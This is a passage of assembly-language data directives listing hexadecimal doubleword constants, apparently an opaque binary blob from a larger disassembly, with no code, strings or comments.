0EAF13E90h, 0C77736h, 0A2A631ECh, 0BE67B388h dd 8C6F5Ch, 6B41FB5Ah, 39F603BDh, 2B813833h, 46876745h dd 0EF02E0ABh, 5C0B3Ah, 0E2C32EAh, 1DFA20D8h, 3BF1F9h dd 0AEC38413h, 2A60059Eh, 65D41BC0h, 9AF50004h, 85499DB2h dd 5003E869h, 382D7F89h, 37CAD0CCh, 0DD0900C8h, 0D32AD2B1h dd 71033C91h, 126A8CB8h, 0D0B9B86Dh, 46BB0F57h, 0F2E0680Dh dd 56AEA1F6h, 828F3Ch, 691299E6h, 0CBB57Eh, 958B6EE7h dd 5ACEFBF9h, 7DA24218h, 0ED5B8E0h, 0C5881215h, 0C0A31F04h dd 45442A8Ah, 75395300h, 0FB1BBE42h, 864E3D6Fh, 2A586887h dd 0F5C76095h, 0E614DB3Bh, 11D4E92Bh, 150F0F82h, 0CEC3281Ch dd 85D97221h, 0DFB03A46h, 0A80753E5h, 0D1514F07h, 1AC1E21Fh dd 0F09CB848h, 97038790h dd 0B10BE1A0h, 0AB5A80F8h, 1C804890h, 70C35807h, 78E4266Bh dd 52FD22h, 5E4181E0h, 0C558B9FAh, 842E8A00h, 0A245AB38h dd 0F6970060h, 30CC654Bh, 7C003251h, 0D1435E40h, 82BA9Bh dd 0FFEA60D6h, 2285655Ah, 7C7406E2h, 8E1ECD00h, 94E033A1h dd 236008Fh, 488D4D88h, 0D80022BDh, 0DF1E5FB2h, 44E153h dd 4EC19655h, 0A3595457h, 0FE993800h, 986F73ECh, 0BFA10387h dd 713A61BBh, 0C5D3C798h, 43BA4200h, 0AD6BC229h, 0BF1D1CF4h dd 0E473C05Ah, 349FE6BCh, 0CEB1AF63h, 7918C99Ah, 1F11E3D8h dd 3E607ABEh, 58838E87h, 0FDB110AAh, 0F5005B19h, 0DE211A7Ch dd 354D4Fh, 0CF755DD8h, 98A7E47h, 0AF260A00h, 0DC1F0116h dd 326700BDh, 0B90ED410h, 4B007CFCh, 77C95802h, 4CFA3ECEh dd 5900E107h, 1E7092FFh, 0A500F7CBh, 0B43D5A50h, 39D10D53h dd 0F0790E05h, 13B30A99h, 1D001EEh, 0C4BE772Ah, 0E169D846h dd 37497B03h, 945F5D10h, 91D0E9C7h, 89A553h, 0DC4FF0E9h dd 78506CE1h, 570F5E7Eh, 0A03E8498h, 0C8A519FCh, 9E820B45h dd 7007513Ch, 5F002F92h, 8AEDA04Fh, 792DE900h, 4E767FF4h dd 3C7075h, 102971ADh, 91521D8Eh, 0E404509Ah, 54284260h dd 44FB9080h, 0B24800C4h, 36598F8Eh, 0E4981C68h, 80549E3Ah dd 0C77A6EFDh, 2DCCF0A5h, 1DDEEF1Dh, 2913B504h, 212A11C0h dd 917A0048h, 0F4842673h, 5007451h, 9C0CF901h, 4C03639Eh dd 2500A82Bh, 11BF8AECh, 7C16DB5Ch, 0CC0C3B59h, 3CA2118h dd 1639F7FFh, 48E0DA8Fh, 7F1272DDh, 7C404262h, 0F0D82FB5h dd 0D230C32Ah, 7A8803D1h, 9C713601h, 0B40C6A03h, 99DDA1AEh dd 3020829Bh, 50C37F89h, 47AC5Dh, 53CD6C60h, 5248B0Ah dd 95818500h, 5A7DA7EFh, 0D519C099h, 0EE8AA1C5h, 0CEC14C1Dh dd 2F53140h, 1D91805Fh, 4FA62AEFh, 1D2362CAh, 0C7F83D7Ah dd 0C301473Ch, 0F76CE61Ch, 7BF0FC1Fh, 927008Ch, 6F5B5087h dd 0F10F8217h, 60FEE03Fh, 0BD63646Eh, 335C009Ch, 4E759A95h dd 850138C7h, 0BC290911h, 66F03B22h, 0C62C00A5h, 688FCDD7h dd 783C6184h, 5702FF49h, 0A66566B0h, 0DF946177h, 1AC91DCh dd 0CCAA5B3Ah, 0F419AB0Ch, 6200588Bh, 60FBD2CAh, 0EA6BC5h dd 0EB2C94AAh, 0BBB17C6Ah, 0C1ACDA18h, 0B6B211h, 2DFBBD0Bh dd 326EC95Bh, 0F197EF00h, 31D077CFh, 0F2AA3C7Ah, 0B2377F80h dd 0E73A195Eh, 0D5263C03h, 0B0BE6ED3h, 1AFF91h, 0C08C4305h dd 0AB4F6645h, 0CF535100h, 3DAC5027h, 8BF274h, 4C0EB568h dd 0F3C5473Fh, 86BC0700h, 0F6A521DEh, 33F900C6h, 9D9F5C9Ah dd 5512392Ch, 6C00EC3Ch, 0E513FB02h, 583D0081h, 84A88FEEh dd 5700ABE2h, 3F82CD51h, 0DDF05Ah, 0A0E78BA9h, 0D9F4563Ah dd 0E486AA1Eh, 0F25438C2h, 8E74E8DBh, 22450C3Bh, 6C61E30Dh dd 3C4E9130h, 6B10655h, 0C1D396DDh, 661221E2h, 54404EAEh dd 1D8306D5h, 1B36747Bh, 1870E511h, 498296C0h, 924869E4h dd 0CB01318h, 0AC6E1103h, 660AB8B6h, 9DC101A7h, 0C0D32B37h dd 69F560DAh, 0FF61D00h, 0E06B21E5h, 1F370101h, 45AEBF7Bh dd 0F6588379h, 0CE6FE0Dh, 66B6AA90h, 750CDE98h, 0A95F1AEEh dd 7BA107E6h, 600CAF3Ah, 0B10E3C5Eh, 75258116h, 10F6E045h dd 0EF8B2406h, 0F0873AF0h, 0C2892702h, 108216F6h, 1C802381h dd 0AB5E15F0h, 912AE03h, 0D03578CEh, 1680F77h, 5B5180E6h dd 0F0FE5A08h, 0E1055932h, 731890BFh, 80CFD109h, 3A47B1A2h dd 0BAAA001Eh, 7662676Bh, 5300C579h, 46A2124h, 0B0A93A0Dh dd 493B07E3h, 0D088CC31h, 5702ED9h, 62A4AD00h, 16563C32h dd 3AC8FCA9h, 1ABEF118h, 5A806A00h, 0A774C510h, 97D78F00h dd 18E032AFh, 7C521F33h, 9F2A80E1h, 5F381914h, 259CF503h dd 90410C3Dh, 0DA898Dh, 0E14AF85Eh, 0BEAF2A2Fh, 59807454h dd 0B3BF0900h, 0E35E060Eh, 88D66F6h, 34002181h, 8AD8BF21h dd 1E949F87h, 81395BB9h, 928D1517h, 830CC889h, 3D301E61h dd 44D63A79h, 41870070h, 35DE7A11h, 6568FEEEh, 0A7001009h dd 0AC251149h, 0E2340008h, 0F57B9250h, 58CB5BD1h, 5E9F8128h dd 918E731Fh, 0B1835879h, 11005191h, 1B24A4CAh, 0E878E7Bh dd 833ED375h, 9421E58Ch, 5C2C7C00h, 0AE4A438Bh, 0CB19C057h dd 0D69E30CFh, 0E212030Ah, 780090EDh, 3186C567h, 0EBA80454h dd 90FFB249h, 0B4AF621Ch, 0A7892201h, 0A8814E55h, 40650896h dd 0B4B742A0h, 6C009154h, 624A9EF6h, 5F4590Ah, 58819B0Eh dd 3C00124h, 801A1672h, 27EA0C70h, 75EED3h, 9A4C3F15h dd 838CD84Fh, 26A1EB00h, 7E37CDF1h, 7F357A2Eh, 0B28F001Bh dd 2233B60Ch, 0B0007A21h, 0AFA5862Fh, 0DF255Fh, 0F0D4F1BAh dd 67600773h, 6B7D5900h, 9252E5CEh, 0DEB9001Bh, 47D0A756h dd 0C8075153h, 612E3B9Eh, 4F3E0E70h, 24640184h, 154787CAh dd 0AB2DC0B2h, 0BDD0C41Dh, 3B9F803Eh, 0B9E8ADE5h, 0DAD20028h dd 5716FFD1h, 9900E06Ch, 0DE0C371Ah, 0EAB2C51h, 1F761E6Dh dd 31AC3898h, 614041DCh, 629642F8h, 88E60636h, 91E1B820h dd 57F4300h, 3704B1DDh, 0F7800B0h, 6AE2F325h, 0AF01CCACh dd 64356715h, 0C6E0B8C2h, 0CB1D489Bh, 0CEABB879h, 0E7004C18h dd 0E4B62861h, 47D959C0h, 70F94659h, 48B03DCFh, 620CBD20h dd 28E54C86h, 3E993F03h, 400407F3h, 0D04987FCh, 3462A1FFh dd 20CEA42Ch, 7D389E18h, 0ADB601E8h, 8CCDF935h, 12088770h dd 80039747h, 604BA0C9h, 3B9000A1h, 0EB82C3B2h, 2600F57Ch dd 32DB5FD3h, 79EA89C1h, 0B373DDh, 9AD78216h, 79CEA0F2h dd 96AAFA10h, 69212C30h, 0C83E9A6Fh, 0F667808Eh, 75EF012h dd 22DC407Eh, 0F4E34D19h, 0D318B658h, 0A0F69A08h, 16F1CE2Eh dd 0E80F4B3Dh, 0C81A232h, 12289895h, 10AC6121h, 0A60608B3h dd 5A002B08h, 3E68E036h, 54A100B4h, 43235009h, 0AB066E6Ch dd 9FC4CB86h, 21A43839h, 0D2BC6407h, 8F344048h, 7AE49BCFh dd 6E01C970h, 0ED7D2583h, 0DFE95945h, 0C0A30882h, 80853F3h dd 6E5D440h, 4C14A57Bh, 873E3A08h, 0DA521917h, 0E6F07D91h dd 743798D6h, 3A10335Fh, 2100A208h, 47E6EB1Ah, 38CC0C87h dd 2C02C833h, 17789E06h, 5B159CA1h, 1831BEDBh, 52192B7Eh dd 8302FCA3h, 0D8950BC0h, 0DF63C183h, 2898B8B2h, 60EBD484h dd 79F79AD0h, 86208CA0h, 483C008Ah, 0C73DB19Ah, 1000237Dh dd 0D8E7EA9Fh, 0C3B312A2h, 89A90B81h, 0AD527119h, 4B30FBA1h dd 80980056h, 47F3F86Ah, 41068A31h, 75914EDCh, 0EDDD0029h dd 93A2C1A8h, 9CA1D852h, 8F1186Fh, 0E228D0E6h, 1C40A1C4h dd 31DAE6E9h, 0DC3E7100h, 28C3F512h, 80F4885h, 0D6009322h dd 48A366EDh, 0C93617h, 2BCBAB7Ch, 3EC8058Bh, 2169440Ah dd 9224B09Bh, 38F0281Ch, 60A306BDh, 0A9F4E1D9h, 8718E07Ch dd 6DC10508h, 0EF440F7Eh, 9F20F507h, 28FB85D6h, 9C7D6200h dd 79C8CDAEh, 27830CBDh, 0B91DC52h, 128D1902h, 80E55FF8h dd 24C8E9CBh, 0A81A48A1h, 0EE8C29E8h, 5A410548h, 0C54C0Fh dd 8E1A507Ch, 0E80071CDh, 17D4F04Fh, 26A17866h, 293F87h dd 754C2B5Ch, 50DE21FBh, 0E2FF6E80h, 1EB5C77Ch, 0BA3C91D9h dd 0F8AD2Ah, 8EFF563Fh, 5DCB265Bh, 0B7705100h, 1E12F0FAh dd 8179CE90h, 0A8AE0013h, 0DD44FD3Eh, 0BF43E815h, 0E31300A4h dd 924C5BAh, 6FFF731Ah, 21980819h, 74B8EB99h, 0D34EE509h dd 9C6387D6h, 9258F3h dd 0A85FBD61h, 9D9465FBh, 0D23DF700h, 0B92426C8h, 0DB723285h dd 50307AD8h, 7CB81DFFh, 0A991A157h, 0FF585100h, 76FAD1CAh dd 4075350Ch, 2CB91DBh, 9D4F1F68h, 0D06096DEh, 2B2963C9h dd 0C4013046h, 0B77CE4FEh, 0B588A818h, 9FF7F6Ch, 0FA2CD4Ch dd 0E80302Fh, 19D0917Eh, 9CA6358h, 4825379h, 0F7606D84h dd 2810D2E6h, 0A5C85C92h, 28EE39BFh, 3B2A8727h, 0EF019086h dd 0F4FBF7F8h, 2432DCF0h, 2AC29200h, 0FD811A2Ch, 2FF24E02h dd 466EF50Eh, 76E3981Ch, 0AA624ABh, 0CDD20090h, 83178DF7h dd 9EC97C14h, 185128ECh, 6F194109h, 44720065h, 47659D7h dd 8E722557h, 828C4BAh, 0C2C048C8h, 467CEEFEh, 2A522A7h dd 0CCFF6A43h, 3064F3D4h, 4149457Ch, 0BAB88024h, 43D12550h dd 4A887E19h, 85BA00E0h, 686BA015h, 589FFE9Ah, 69D0A1Bh dd 0AB2C2DA6h, 0ECDA5850h, 14546900h, 12522392h, 15AB425Bh dd 0FB815DCh, 1A7FCh, 3EA4119Bh, 3722004Ch, 81782520h dd 59007EF2h, 0D839FCC8h, 5AB08BDh, 40F1A82Ah, 4450489Bh dd 51BAB7C0h, 7CE95225h, 9D5C8A22h, 3E601FD1h, 0A8D59941h dd 2C33B911h, 51302DA2h, 8E380062h, 854AA5E8h, 4314CB35h dd 804846DDh, 2553BAE5h, 98A719h, 14BAED73h, 0D1033E27h dd 6D05F01Bh, 0BB9809CBh, 78378DC8h, 585FC9Dh, 288C4533h dd 0E0E8C87Bh, 0EC9AD5C0h, 225E46A0h, 4D6B0012h, 9733269Ah dd 0B5F02443h, 1B7CAD1Ah, 0EEF2C021h, 0B2FA30DCh, 176F3210h dd 64518105h, 382EF4D5h, 0C78A8610h, 66F0FD62h, 28DB008h dd 0A36A0367h, 0ACC4AB0Fh, 4484A171h, 4D004C95h, 4856766h dd 0A045341Ah, 24A8F67Ch, 4369554h, 0C3DC129Ch, 9DE03688h dd 0A3FE9B5Dh, 0C27C96E2h, 0BE142000h, 9DB62CCh, 107700CBh dd 9ED1E8E4h, 7CA02980h, 0A213F07Ch, 2008ADD8h, 0D5C88014h dd 3E80C3AEh, 8A0FE91Ch, 374B7CC1h, 0CD10AAC5h, 9F1C26E2h dd 0E9C0FDF4h, 0C62915D7h, 0A1E01EC3h, 0CAFC0742h, 26F0C986h dd 97B7E9C4h, 0E0238CC9h, 6F30AEA2h, 0EBB400A1h, 0AA30A2FAh dd 0F0C86E12h, 9405404Ch, 982E8309h, 6C913853h, 0CFE6F880h dd 458C8A28h, 0E65E4076h, 891706E3h, 7820C5B7h, 51F23Ch dd 5FA1A09Fh, 7B6B2647h, 0E2295D01h, 6FB1C218h, 8CEC1420h dd 0F09AD104h, 0C0A23EA0h, 9A493FC3h, 0C610C9D8h, 1919DC30h dd 0C78E6h, 0ECCB4FCh, 5E5742A9h, 3AE9F00h, 584C105Fh dd 9CF95408h, 59440207h, 0E526CF1Ah, 7844B447h, 179D6B60h dd 0A55C5312h, 6FD52820h, 0D39E027Ah, 0AF0D2E3h, 7323C40h dd 494A249h, 1C11A022h, 4CC85088h, 0FABD6443h, 20C30h dd 3F1C82BBh, 0A325643Eh, 78461E4Ah, 0E271FAD9h, 24330236h dd 30FD5D1Bh, 61EDB884h, 0A0E49A62h, 2B458C96h, 19A7AFCh dd 0F0E7456Ch, 8A889706h, 88A05289h, 2F6C4D8Eh, 0E918C051h dd 0E24735A3h, 50E11CC8h, 0F0F1C9A4h, 2083B4B7h, 0F8E0F3C8h dd 0DCE7A37h, 9E51CB63h, 750C0879h, 9549AC07h, 0E7C7E30Dh dd 91C5B3h, 8AA0E129h, 5E5FE58Ch, 779230EBh, 14F0D000h dd 0D995B666h, 2398A8FDh, 17C970CFh, 8B8B17Ah, 51C04D68h dd 467CB7FFh, 5488796Fh, 6DFF0759h, 0C4314157h, 887C1F6h dd 72CC5003h, 0B95029B2h, 0BB0978D9h, 44D960ACh, 1823019Ch dd 0C556BCBEh, 70D5CCFEh, 0A8862B00h, 5F424FB6h, 0A65C3012h dd 287D9ED9h, 914A98A8h, 51B09A6Eh, 0E5FF5380h, 0F0B93F7Ch dd 0FF5B56C0h, 0F080475h, 0C11A26B8h, 24E64C10h, 48CE54Ch dd 24C4BAE4h, 208762F1h, 0ABAEC96h, 9BCFBB38h, 39198D40h dd 24003E70h, 69F928B0h, 3A008F4Fh, 0DA7D965Eh, 99949E73h dd 274E03B0h, 4097449Dh, 2412F365h, 75966C96h, 32420420h dd 56CB00CCh, 7CDF883Bh, 21E67B08h, 91E7531Eh, 5D41F540h dd 2D551CCh, 0CD7E5FEBh, 0F491DCE5h, 0A098E376h, 10025D1Ah dd 0C2E2DBDh, 6BE4408Bh, 0F4A807E0h, 2BE52FE9h, 275F1C0Eh dd 0C5103420h, 99009F42h, 0EC79F044h, 7880CEh, 50A8C012h dd 4CEDFD08h, 0EF38BD54h, 371D760Eh, 0AA08261Ah, 99AD00C9h dd 0A9F779F9h, 0C50F9139h, 1E8C37h, 0ED756EBAh, 721B05D7h dd 40A540F5h, 0C7EBE0A8h, 58003008h, 4A5A9D37h, 25C5ABB6h dd 682EDD1Dh, 0DEB752C0h, 190079FCh, 8717B77h, 443F12BFh dd 3702498Fh, 174EA327h, 7CA60ABh, 54DB4CA9h, 58415C8h dd 6CC081F8h, 590024Ah, 8C2B9348h, 0DD9490E8h, 0BB009CD7h dd 21B24794h, 0C0A6EF5h, 0E3A1D28Ch, 0FB141E18h, 8188DD31h dd 19FA9A2Ch, 600806F4h, 0D0976904h, 0DA0B6331h, 2DBE4Bh dd 0D6107894h, 75863CD5h, 5E006C49h, 6442A2B5h, 0A50032B9h dd 55F01235h, 18510CF3h, 69FCDCEAh, 7104FB61h, 0DFD77F1Ah dd 0B8B40480h, 60D60094h, 23C22F9h, 0AE00B6C3h, 9DE427A7h dd 0E92EF1F5h, 92F066DCh, 8EE6144h, 3D40098Ah, 12930024h dd 25026AC7h, 7C63E526h, 5AB2BC00h, 194743F8h, 0F1963301h dd 1A68AD7h, 67F0A9D1h, 0E4B10583h, 17CE682h, 8445E990h dd 16E183DAh, 0B5EAFA5Dh, 892EAD83h, 0DC60637Fh, 5BA32C33h dd 0DECC4264h, 4198F060h, 0B700B891h, 0C8FC92EFh, 4B180089h dd 850D5150h, 803D3D70h, 171C5825h, 4C20C4D2h, 1EDFC0FCh dd 47F155A7h, 0E2BB8Bh, 37D2076Eh, 82490A90h, 0B4A17A14h dd 0D8686067h, 13370A88h, 13F308B4h, 0BB3C20F0h, 2E01D502h dd 0CB5C6D0Bh, 0C02CCFE4h, 0C3FC16h, 40D061D2h, 9E007D79h dd 1277D3DBh, 2CA330BFh, 45640859h, 0EC884020h, 14961035h dd 4C03C1F4h, 0E8070A9Fh, 0DD5F9112h, 40004C29h, 8E3F0F3Dh dd 50004FC4h, 0EDA6EF77h, 7E2D97D6h, 27610605h, 0C1BA4068h dd 0BCAA580Eh, 0A2A7003Ch, 0F0CCE93Ah, 0C3B80091h, 4AF780CDh dd 8C1816D7h, 0E0990108h, 0F08F0403h, 0C0EB4715h, 0E99C5499h dd 0E8139105h, 4800DED7h, 282366C3h, 879200D4h, 9FCB2C81h dd 6E009D5Fh, 5D9C14F8h, 1332CC06h, 26919ED5h, 631318E8h dd 2C0094F5h, 86F39DC8h, 0E7A8007Eh, 40BA432Ah, 0AB010F81h dd 6E466816h, 7C295CA3h, 5914D902h, 444055AFh, 7002EC5h dd 1A6BB4E5h, 7F8A21F4h, 8B370063h, 964DCFC8h, 0C90065C6h dd 0AD26D6F3h, 592D55h, 0DFC4F9BEh, 7FC1C71h, 4EB7BD0Ch dd 22D5832h, 0D0CAF080h, 0E07D38A5h, 1D78D76h, 1C7DCFEBh dd 0D44B06B3h, 6631CB1Dh, 3EDA5056h, 18AF0880h, 50147AD5h dd 43A0D106h, 1B1099Fh, 24612BC3h, 0DC56B1A7h, 7400CB97h dd 4138191Ch, 19CD6B0h, 0B8C1918Dh, 97269F8Ah, 1507DE39h dd 66307BC5h, 3C910D0h, 0D36212E4h, 2699DABDh, 6B898071h dd 54D4F051h, 0A964008Ah, 276B2E4h, 5003C43h, 891CF49Fh dd 0C03DD930h, 3F4026B1h, 1E006915h, 0DE95582Ah, 2A7EE47Fh dd 88454Bh, 22405A51h, 2086A3A8h, 0E11CEC05h, 87C68017h dd 0C9C23C49h, 0E7745F05h, 38D6020Fh, 0A460C153h, 0B62CA27Bh dd 5C1F82A8h, 5BF61140h, 7CC29D2Bh, 0D8AF31B5h, 8079B88Ah dd 8EAD32C9h, 0B9D797h, 64F204A6h, 9EA33FB6h, 308C2B55h dd 3BF6C2FDh, 0F48C0605h, 0C5C75BD6h, 7DE49140h, 0A9C506A8h dd 0C9504EB2h, 95456100h, 0B5BF0C85h, 73F40090h, 3B8DAE1Dh dd 0E0017020h, 8ED0EC31h, 0D99C3F47h, 45540750h, 994E8189h dd 80B0BDB0h, 6F42FB66h, 3BE353A6h, 4980C0EDh, 0B5B33568h dd 6901F5B9h, 1D50E4DCh dd 0D98378E0h, 0B0EBD68Fh, 0C4D3A001h, 5E854621h, 14801112h dd 0BA95EFB3h, 0C6084A00h, 0B2F9A3E7h, 0D7C0189Fh, 75389C52h dd 80402748h, 5FF00360h, 12193FBFh, 0D1E1588Eh, 0E3C18DA0h dd 993DE291h, 62AA05F3h, 34002788h, 9C21C697h, 4BF01889h dd 1F06895Fh, 0A7B49200h, 0B5478B63h, 1A9C0E76h, 0D100A9F9h dd 33BF7072h, 0C08DC4ABh, 0D0E68F89h, 44C1C21Eh, 0D8B812F9h dd 0AB498503h, 41590A2Fh, 80AC3BD9h, 5C25E494h, 0D0A44B11h dd 9FEE5600h, 447EA51Eh, 92360035h, 5BD4B904h, 0B0A05E62h dd 5A00897Ah, 37128ABCh, 247F3D69h, 126C9E4Ah, 56D40105h dd 0E04BDBA5h, 844811B9h, 0BC3F1EEBh, 9FB87283h, 0A7B91C23h dd 531B0071h, 7640DE7Bh, 1F643313h, 0F327FA00h, 961545h dd 0E447A80Dh, 8DF18979h, 6F189418h, 0C260858Ch, 27E493B9h dd 0E2250C40h, 321A4E00h, 704680CFh, 0C0EE5091h, 0B1030086h dd 0E50A2015h, 18244592h, 0BF02F8F2h, 0A047DAA6h, 5B5ABC8Ch dd 61FA0052h, 5626CAEBh, 0F00F6A68h, 65ED00Ch, 779584Bh dd 300F2009h, 34D9E0E0h, 56E6E293h, 292F5109h, 7C8402D1h dd 0EE18874Eh, 0BD39CBB0h, 0C01909C9h, 4207E26h, 0DF68EDCEh dd 47A7E700h, 1EC3A86Dh, 210D00B6h, 0F754862Dh, 0B401DD57h dd 59E6038Fh, 0FC4076D5h, 1AEEEC1h, 494C5638h, 925BB791h dd 0E7028E18h, 0A131D870h, 0C23663B8h, 7F41F883h, 192834BDh dd 0F613DF01h, 0F806FD57h, 0B12EABh, 1DB74C02h, 21A03C1Ah dd 471131C0h, 8EB222h, 64F6EB74h, 7F7C7A4Dh, 29328701h dd 0B2ABAD62h, 99380030h, 0C7CE83C0h, 0AAC3C975h, 8DBA14C8h dd 0A2462F0Ch, 24D9712Dh, 11AC496Ch, 79D70070h, 3D812CCBh dd 7FD8003Bh, 1AF0F486h, 46604B1Eh, 5C848039h, 0EC52010Bh dd 0CF1D22C4h, 0B286306h, 87285112h, 2226E707h, 0A9FE0291h dd 2D84A2C0h, 0C0F4B585h, 35790F1Fh, 2E9E8A18h, 628629h dd 0A4953642h, 44B64DFCh, 0B300D57Dh, 6B2EDE26h, 18E53C1h dd 0A80219C5h, 8961B21Dh, 982EE4C1h, 6A57E4h, 0FC1D5E5Ch dd 5A97F2FAh, 0B7892000h, 5B0185E4h, 0F3C51958h, 0D8613891h dd 4B30ADAAh, 37744147h, 5D6E00F9h, 0F3B41957h, 6B3AA12Fh dd 17381F90h, 45808DDDh, 3B997063h, 1CE89927h, 0B4E880C2h dd 0B8BC0ACBh, 0B31D3D1Ch, 2057FFC1h, 0CC65ABD8h, 88C78840h dd 789F79E2h, 601E54AAh, 1C3D00FEh, 1ACB3EF2h, 0F87223A7h dd 88140177h, 81B8B145h, 0AB5208E0h, 13B072DCh, 25E24978h dd 0F05F873Ch, 3FCF3A7Bh, 54332F14h, 0D81DD6F8h, 0AAA39BC0h dd 1E118B38h, 6C7A83C2h, 51AE00B4h, 4877D6E8h, 1CAC4624h dd 0B31A2160h, 0FDFA03EEh, 0D7888D09h, 3CBFC0B0h, 0F83A223Ch dd 8E85DB00h, 0E7496152h, 9A91C542h, 24F45F05h, 601B00F1h dd 3BB04531h, 0B15EFE00h, 85C60DB3h, 0B4FB0CA3h, 7331089Eh dd 56C5201Fh, 84B5A0C9h, 5203EF80h, 58A03C6Ch, 4848AA08h dd 10C6CCA8h, 0C70084ACh, 493EC244h, 0C935F8F9h, 3C109D58h dd 1800A3CCh, 403A9130h, 0C0494BE1h, 725B9D39h, 6B000954h dd 349936D6h, 588DAC5h, 275C2947h, 13A8417Fh, 0C1546703h dd 0E5AFF4D2h, 6EBD5800h, 0F098FE9Ch, 0F194A0ECh, 78F70083h dd 0A74936E0h, 0A23C35AFh, 1337120Ch, 0A030E402h, 0ECF4211Dh dd 97B2C839h, 1CCA4B00h, 0C02D0588h, 0D6780919h, 4081D352h dd 0F3E35C0Bh, 683C4001h, 81E29229h, 14F939F8h, 98A13B4Bh dd 8848F105h, 0F0448DB0h, 0A600099Ah, 0BB87F5F4h, 20EECA7h dd 798468B4h, 0ED62E03Fh, 0C342F840h, 3F0CB4Ch, 14475E80h dd 0BDF2C8B0h, 0CF660394h, 644B5772h, 62F65913h, 658D2400h dd 0F5FE614h, 268FD411h, 0EE0BEEA7h, 272571C1h, 6DA0507Ah dd 0FEFC106Eh, 62E8AB00h, 0B8B379F9h, 0C24E099Eh, 2410473Fh dd 0F33F81E1h, 0DD8A8110h, 0B0E35AD8h, 0B0340074h, 0EFE11244h dd 0FE2C8833h, 7B66B500h, 0C7A1A874h, 9E440082h, 0B9F64B40h dd 786CD3Eh, 8ED250D1h, 0C5404F34h, 0EFA8440Fh, 0AA0CFA0Eh dd 191B474Ah, 5EB37B50h, 81E42492h, 0C3011DB4h, 43DA4564h dd 9D2EA900h, 9F5E410h, 738C003Ah, 0C727E6DDh, 0DA302189h dd 0E05D2940h, 2E53CACh, 26945C01h, 22E44979h, 0ED9300E4h dd 4BA383BBh, 98B0A85Dh, 5F7F0333h, 87C74908h, 920268B8h dd 5EE3A800h, 76270A8Dh, 31CA6B1Dh, 0F045C800h, 8C00693Ch dd 0B8846F9Ah, 351ABEDh, 0DAA31B86h, 700036E9h, 2D7F11A1h dd 0C6DC54h, 5C606F6Ah, 4CD407D3h, 900E0A00h, 66528AECh dd 9C635427h, 4512009Bh, 35DF81B3h, 7E0A653Eh, 64DA3ABAh dd 21E48801h, 2820B769h, 0C1AA3B3Dh, 4580D05Ch, 706F3837h dd 5C133409h, 82F4098Fh, 222BD8A0h, 0F866AD20h, 2788748h dd 0E1B59057h, 1E0940E9h, 3DA20089h, 0F72A14A9h, 1D6218DBh dd 2008C549h, 229711B6h, 473082E2h, 0DF16A148h, 33A7A13h dd 0C742201Dh, 36B07394h, 4F2CBE04h, 3105D0A7h, 88884EB1h dd 0B7900BCh, 9C840F8Ch, 47074CD1h, 0BF583DD8h, 983A2EC2h dd 70BCACh, 20FCFBBDh, 0D5E56476h, 99251600h, 0AB17CDA7h dd 709A0BE4h, 0B8AF82C0h, 3580F8D4h, 0F6D8131Eh, 73B5EA00h dd 155223E0h, 0F0CE1E3Fh, 7AF4C74Ah, 0C681584Bh, 582ABC9Dh dd 20D24F0h, 0E5820273h, 0B460ED70h, 23024CB6h, 9F8F3419h dd 6A352005h, 0AB1F5717h, 2C18A49Bh, 1F6E2619h, 4211BF4Ch dd 0E24A1936h, 0D92870E8h, 15A03C54h, 0E985B700h, 0A9C5F7ABh dd 0E01D244Dh, 608C4AACh, 0DC5150AEh, 6C1C0579h, 82BC0CBBh dd 0EDB6320Bh, 9041576Bh, 324EC102h, 0B80071C4h, 0AC140973h dd 327B53h, 0FEEF6C78h, 48D61539h, 4AFE444h, 0B7401F86h dd 0F8E4CCB6h, 0CB00A090h, 0C7BAB571h, 0F2A7B3A5h, 0FC00ECFh dd 4E208F57h, 0D1BE8EEDh, 70488178h, 1080455Fh, 82C2F244h dd 92C4C01h, 26153361h, 12754DD8h, 0D14BC958h, 0C49C0270h dd 0A6000BC4h, 5CF1728Ah, 69BC0Fh, 0C2C574E1h, 7B31CA3h dd 2039C004h, 20577DB2h, 7FB05A90h, 90ED741Ch, 0D613D242h dd 0ECC2E05Bh, 0A8DB009Ch, 2FE2B989h, 66512704h, 6716EC87h dd 47E09909h, 0A9000F2h, 0F01AE4D7h, 0A059C049h, 1D5791B0h dd 2A788A00h, 0A4096048h, 8D4200EAh, 35FB7EF7h, 0D490A91Bh dd 0C378DA00h, 64635FDFh, 51680649h, 0B165B7D0h, 7943A002h dd 40D4700Eh, 984C8Ch, 0AF225BFFh, 0D5CB2019h, 8F3B2305h dd 5CC84BACh, 767D02FBh, 0B5501A88h, 0D770BCE6h, 6664A800h dd 7CFC31A3h, 10498C2h, 0ECC1BD1Fh, 29B77036h, 0CAFD13A8h dd 8748C8h, 0A5085104h, 9FD5DCFFh, 671F44h, 0C0A7CC6Ch dd 32E78A10h, 97C39404h, 1C8D4916h, 3004D02Ch, 848EBC43h dd 25A0A4D6h, 0DB3250A0h, 0A937AC00h, 20F29A29h, 793305F9h dd 45A44E0h, 0A4A022B8h, 0A2F093C4h, 80330A3Ah, 0B9B2AA11h dd 58894ED7h, 0E400C8B6h, 191D1498h, 0FCB14F5Eh, 37BC3E80h dd 7DDA30Ah, 50BE73C1h, 0CAD9D016h, 4B714E72h, 0E19A91C0h dd 0A11E7Bh, 3B9737A3h, 3012FE7Ah, 0DE917F0Bh, 880448B7h dd 11D0EB90h, 40349472h, 0BFD539CFh, 636C3Ah, 0EC19A2F4h dd 3694379h, 82E05317h, 990007A0h, 0DAF2C5D9h, 5C2F48FCh dd 2688EC57h, 1DA11280h, 0FB6D90h, 6F203601h, 0ACB71A08h dd 0B3794F7Eh, 65D9DF0Ah, 0DE00806Dh, 0AB46025Eh, 1791C933h dd 70B7D980h, 0A4A49DAAh dd 0A03D0301h, 71159699h, 18A8E2F4h, 21249E8Eh, 0CE00ECE1h dd 142ED119h, 0B38D44h, 0D3969F7Eh, 7497D541h, 80F4DA4Ch dd 662C7C2h, 871A007Fh, 0C1C43699h, 13E4CAF8h, 1969F71Eh dd 4700B493h, 0C2A7211Fh, 0E83539AEh, 0B7971A80h, 9B5C021Dh dd 65C840A0h, 0E9D65002h, 0E0B18A8Eh, 6E0372h, 0B822C99Ah dd 86E43248h, 0A4F4B600h, 8287DD8Eh, 1ED000Ah, 48C0E963h dd 0A1C03A2Bh, 0E2EE891Bh, 2A880024h, 13FC1019h, 7C008BB1h dd 0DA936992h, 5C79E491h, 0BB8FB84Eh, 1E17D1A0h, 691DE6B6h dd 87C282F6h, 0E03761C3h, 7D2ABFh, 0B9CC158Fh, 9FB4523Dh dd 0E080D096h, 2C9B171Ch, 48EE97h, 0F8AE3C1Eh, 886A91D5h dd 0A4206C4Fh, 